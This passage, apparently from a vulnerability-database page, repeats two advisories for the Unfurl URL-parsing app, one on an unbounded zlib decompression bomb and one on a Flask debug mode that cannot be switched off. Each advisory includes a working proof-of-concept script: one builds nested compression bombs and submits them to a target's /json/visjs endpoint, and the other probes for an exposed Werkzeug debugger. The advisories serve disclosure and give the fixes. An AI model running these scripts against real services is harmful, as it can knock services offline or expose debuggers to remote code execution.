                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jun 29, 2024

20240625 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
    print(f"\n[*] Verifying bomb locally (limited test)...")
    try:
        # Only decompress a small portion to verify it's valid
        test_data = zlib.decompress(compressed, bufsize=1024*1024)  # 1MB max
        print(f"    ✅ Bomb is valid - decompresses to zeros")
    except Exception as e:
        print(f"    ❌ Error: {e}")
        sys.exit(1)

    if args.generate_only:
        print("\n[*] Generate-only mode. Not sending payload.")
        sys.exit(0)

    if not args.test:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                      SAFETY CHECK                             ║
╚═══════════════════════════════════════════════════════════════╝

To actually test this vulnerability, run with --test flag.

Manual testing:
1. Copy the payload URL from {payload_path}
2. Submit it to the target Unfurl instance
3. Monitor server memory usage

Expected behavior if vulnerable:
- Server memory usage spikes dramatically
- Request hangs or times out
- Server may crash or become unresponsive

Mitigation check:
The vulnerability is FIXED if zlib.decompress() is called with
a max_length parameter, e.g.:
    zlib.decompress(data, bufsize=10*1024*1024)  # 10MB limit
""")
        sys.exit(0)

    # Actually test (dangerous!)
    print(f"\n[!] SENDING BOMB TO {args.target}")
    print(f"[!] This may crash the target service!")
    confirm = input("    Type 'CONFIRM' to proceed: ")

    if confirm != 'CONFIRM':
        print("    Aborted.")
        sys.exit(0)

    print(f"\n[*] Submitting payload...")
    result = test_vulnerability(args.target, malicious_url, timeout=60.0)

    print(f"\n[*] Results:")
    print(f"    Timeout: {result['timeout']}")
    print(f"    Response time: {result['response_time']:.2f}s")
    print(f"    Error: {result['error']}")
    print(f"    Memory exhaustion likely: {result['memory_exhaustion_likely']}")

    if result['memory_exhaustion_likely']:
        print(f"""
╔═══════════════════════════════════════════════════════════════╗
║                  VULNERABILITY CONFIRMED                      ║
╚═══════════════════════════════════════════════════════════════╝

The target appears vulnerable to decompression bomb attacks.

Evidence:
- {result['error'] or 'Abnormal response observed'}

Recommendation:
Add size limits to zlib.decompress() calls:

    # Before (vulnerable):
    inflated_bytes = zlib.decompress(decoded)

    # After (fixed):
    MAX_DECOMPRESSED_SIZE = 10 * 1024 * 1024  # 10MB
    inflated_bytes = zlib.decompress(decoded, bufsize=MAX_DECOMPRESSED_SIZE)

Or use streaming decompression with size checks:

    decompressor = zlib.decompressobj()
    chunks = []
    total_size = 0
    for chunk in iter(lambda: compressed_data.read(4096), b''):
        decompressed = decompressor.decompress(chunk)
        total_size += len(decompressed)
        if total_size > MAX_SIZE:
            raise ValueError("Decompressed data too large")
        chunks.append(decompressed)
""")
    else:
        print("\n[*] Target may not be vulnerable or attack was mitigated.")


if __name__ == '__main__':
    main()

Impact

A remote, unauthenticated attacker can cause high memory usage and potentially crash the service. The impact depends on deployment limits (process memory, URL length limits, and request size limits).

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

Fixed in

20260405

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-40035 GHSA-vg9h-jx4v-cwx2 Jan 29, 2026

Unfurl's debug mode cannot be disabled due to string config parsing (Werkzeug debugger exposure)

Critical

Network Low None None

Summary

The Unfurl web app enables Flask debug mode even when configuration sets debug = False. The config value is read as a string and passed directly to app.run(debug=...), so any non-empty string evaluates truthy. This leaves the Werkzeug debugger active by default.

Details

unfurl/app.py:web_app() reads debug via config['UNFURL_APP'].get('debug'), which returns a string.
UnfurlApp.__init__ passes that string directly to app.run(debug=unfurl_debug, ...).
If unfurl.ini omits debug, the default argument is the string "True".
As a result, debug mode is effectively always on and cannot be reliably disabled via config.

PoC

Create a local unfurl.ini with debug = False under [UNFURL_APP].
Run the server using unfurl_app (or python -c 'from unfurl.app import web_app; web_app()').
Observe server logs showing Debug mode: on / Debugger is active!.
The included PoC script security_poc/poc_debug_mode.py --spawn automates this check.

PoC Script (inline)

#!/usr/bin/env python3
"""
Unfurl Debug Mode PoC (Corrected)
================================

This PoC demonstrates that Unfurl's Flask debug mode is effectively
**always enabled by default** due to string parsing of the `debug`
config value. Even `debug = False` in `unfurl.ini` evaluates truthy
when passed to `app.run(debug=...)`.

Two modes:
1) --spawn (default): launch a local Unfurl server with debug=False
   in a temp config and inspect logs for "Debug mode: on".
2) --target: attempt a remote indicator check (best-effort; may be silent
   if no exception is triggered).
"""

import argparse
import os
import subprocess
import sys
import tempfile
import textwrap
import time


def run_spawn_check() -> None:
    repo_root = os.path.abspath(os.path.join(os.path.dirname(__file__), '..'))

    ini_contents = textwrap.dedent("""
    [UNFURL_APP]
    host = 127.0.0.1
    port = 5055
    debug = False
    remote_lookups = false

    [API_KEYS]
    bitly =
    macaddress_io =
    """).strip() + "\n"

    with tempfile.TemporaryDirectory() as tmp:
        ini_path = os.path.join(tmp, 'unfurl.ini')
        with open(ini_path, 'w') as f:
            f.write(ini_contents)

        env = os.environ.copy()
        env['PYTHONPATH'] = repo_root

        cmd = [sys.executable, '-c', 'from unfurl.app import web_app; web_app()']
        proc = subprocess.Popen(
            cmd,
            cwd=tmp,
            env=env,
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            text=True
        )

        # Allow server to start and emit logs
        time.sleep(2)
        proc.terminate()
        try:
            out, err = proc.communicate(timeout=2)
        except subprocess.TimeoutExpired:
            proc.kill()
            out, err = proc.communicate()

        output = (out or "") + (err or "")

    print("\n[+] Debug mode spawn check")
    print("    Config: debug = False")

    if "Debug mode: on" in output or "Debugger is active" in output:
        print("    ✅ Debug mode is ON despite debug=False (vulnerable)")
    else:
        print("    ⚠️  Debug mode not detected in logs (check output below)")

    if output.strip():
        print("\n--- server output (truncated) ---")
        print("\n".join(output.splitlines()[:15]))
        print("--- end ---")


def run_remote_probe(target: str) -> None:
    import requests

    print("\n[+] Remote debug indicator probe (best-effort)")
    print(f"    Target: {target}")

    # This app does not easily throw exceptions from user input, so
    # absence of indicators does NOT prove debug is off.
    probe_urls = [
        f"{target.rstrip('/')}/__nonexistent__",
    ]

    detected = False
    for url in probe_urls:
        try:
            resp = requests.get(url, timeout=10)
            if "Werkzeug Debugger" in resp.text or "Traceback" in resp.text:
                detected = True
                print("    ✅ Debug indicators found")
                break
        except Exception as e:
            print(f"    ⚠️  Probe failed: {e}")

    if not detected:
        print("    ⚠️  No debug indicators found (this is not definitive)")


def main():
    parser = argparse.ArgumentParser(description='Unfurl debug mode PoC (corrected)')
    parser.add_argument('--spawn', action='store_true', help='Run local spawn check (default)')
    parser.add_argument('--target', help='Target Unfurl URL for remote probe')
    args = parser.parse_args()

    if args.target:
        run_remote_probe(args.target)
    else:
        run_spawn_check()


if __name__ == '__main__':
    main()

Impact

If the service is exposed beyond localhost (bound to 0.0.0.0 or reverse-proxied), an attacker can access the Werkzeug debugger. This can disclose sensitive information and may allow remote code execution if a debugger PIN is obtained. At minimum, stack traces and environment details are exposed on errors.

Affected versions

20200629

20200630


          20200630.2


          20200630.3


          20200630.4

20200702

20200703

20200729

20200812

20201102

20210308

20210309

+ 15 more

References

Updated Jul 08, 2026 · Source: OSV.dev

Jun 28, 2024

20230901 unknown

2 CVEs

CVE-2026-40036 PYSEC-2026-1294 GHSA-h5qv-qjv4-pc5m Jul 07, 2026

Unfurl's unbounded zlib decompression allows decompression bomb DoS

High

Network Low None None

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
Inputs are accepted from URL components that match base64 patterns.
Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
The script creates a base64-encoded zlib payload embedded in a URL.
Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL inclusion.
    Unfurl's parse_compressed.py will:
    1. Detect base64 pattern
    2. Decode base64
    3. Attempt zlib.decompress() without size limit
    """
    return base64.b64encode(compressed).decode('ascii')


def create_malicious_url(payload: str) -> str:
    """
    Create a URL containing the bomb payload.
    Multiple injection points are possible.
    """
    # As a query parameter value
    return f"https://example.com/page?data={payload}"


def test_vulnerability(target_url: str, payload_url: str, timeout: float = 30.0) -> dict:
    """
    Submit bomb to Unfurl and monitor for DoS indicators.
    """
    api_url = f"{target_url}/json/visjs"
    params = {'url': payload_url}

    result = {
        'submitted': True,
        'timeout': False,
        'error': None,
        'response_time': 0,
        'memory_exhaustion_likely': False
    }

    try:
        start = time.time()
        response = requests.get(api_url, params=params, timeout=timeout)
        result['response_time'] = time.time() - start
        result['status_code'] = response.status_code

        # Check for error responses indicating resource issues
        if response.status_code == 500:
            result['error'] = 'Server error - possible memory exhaustion'
            result['memory_exhaustion_likely'] = True
        elif response.status_code == 503:
            result['error'] = 'Service unavailable - DoS successful'
            result['memory_exhaustion_likely'] = True

    except requests.exceptions.Timeout:
        result['timeout'] = True
        result['error'] = f'Request timed out after {timeout}s - possible DoS'
        result['memory_exhaustion_likely'] = True
    except requests.exceptions.ConnectionError as e:
        result['error'] = f'Connection error: {e} - server may have crashed'
        result['memory_exhaustion_likely'] = True
    except Exception as e:
        result['error'] = str(e)

    return result


def main():
    parser = argparse.ArgumentParser(description='Unfurl Decompression Bomb PoC')
    parser.add_argument('--target', default='http://localhost:5000',
                        help='Target Unfurl instance URL')
    parser.add_argument('--size', type=int, default=100,
                        help='Target decompressed size in MB')
    parser.add_argument('--nested', type=int, default=0,
                        help='Nesting levels for nested bomb (0 = simple bomb)')
    parser.add_argument('--test', action='store_true',
                        help='Actually send the bomb (DANGEROUS)')
    parser.add_argument('--generate-only', action='store_true',
                        help='Only generate payload, do not send')
    parser.add_argument('--output', help='Save payload to file')
    args = parser.parse_args()

    print(f"""
╔═══════════════════════════════════════════════════════════════╗
║           UNFURL DECOMPRESSION BOMB PROOF OF CONCEPT          ║
╠═══════════════════════════════════════════════════════════════╣
║  Target:        {args.target:<45} ║
║  Expanded Size: {args.size:<45} MB ║
║  Nested Levels: {args.nested:<45} ║
╚═══════════════════════════════════════════════════════════════╝
""")

    # Generate the bomb
    if args.nested > 0:
        print(f"\n[!] Creating NESTED bomb - theoretical size could be enormous!")
        print(f"    Be very careful with nested levels > 2")
        if args.nested > 3:
            print(f"[!] {args.nested} levels could produce terabytes of data!")
            confirm = input("    Continue? (yes/no): ")
            if confirm.lower() != 'yes':
                sys.exit(0)
        compressed = create_nested_bomb(args.nested, args.size // (10 ** args.nested) or 1)
    else:
        compressed = create_compression_bomb(args.size)

    # Encode for URL
    b64_payload = encode_for_unfurl(compressed)
    malicious_url = create_malicious_url(b64_payload)

    print(f"\n[*] Payload Statistics:")
    print(f"    Compressed size: {len(compressed):,} bytes")
    print(f"    Base64 size: {len(b64_payload):,} bytes")
    print(f"    URL length: {len(malicious_url):,} bytes")

    # Save payload if requested
    if args.output:
        with open(args.output, 'w') as f:
            f.write(malicious_url)
        print(f"\n[+] Payload saved to: {args.output}")

    # Display truncated payload
    print(f"\n[*] Malicious URL (truncated):")
    print(f"    {malicious_url[:100]}...")
    print(f"    (Full URL is {len(malicious_url):,} characters)")

    # Save full payload for reference
    script_dir = os.path.dirname(os.path.abspath(__file__))
    payload_path = os.path.join(script_dir, 'bomb_payload.txt')
    with open(payload_path, 'w') as f:
        f.write(malicious_url)
    print(f"\n[+] Full payload saved to: {payload_path}")

    # Verify the bomb works locally
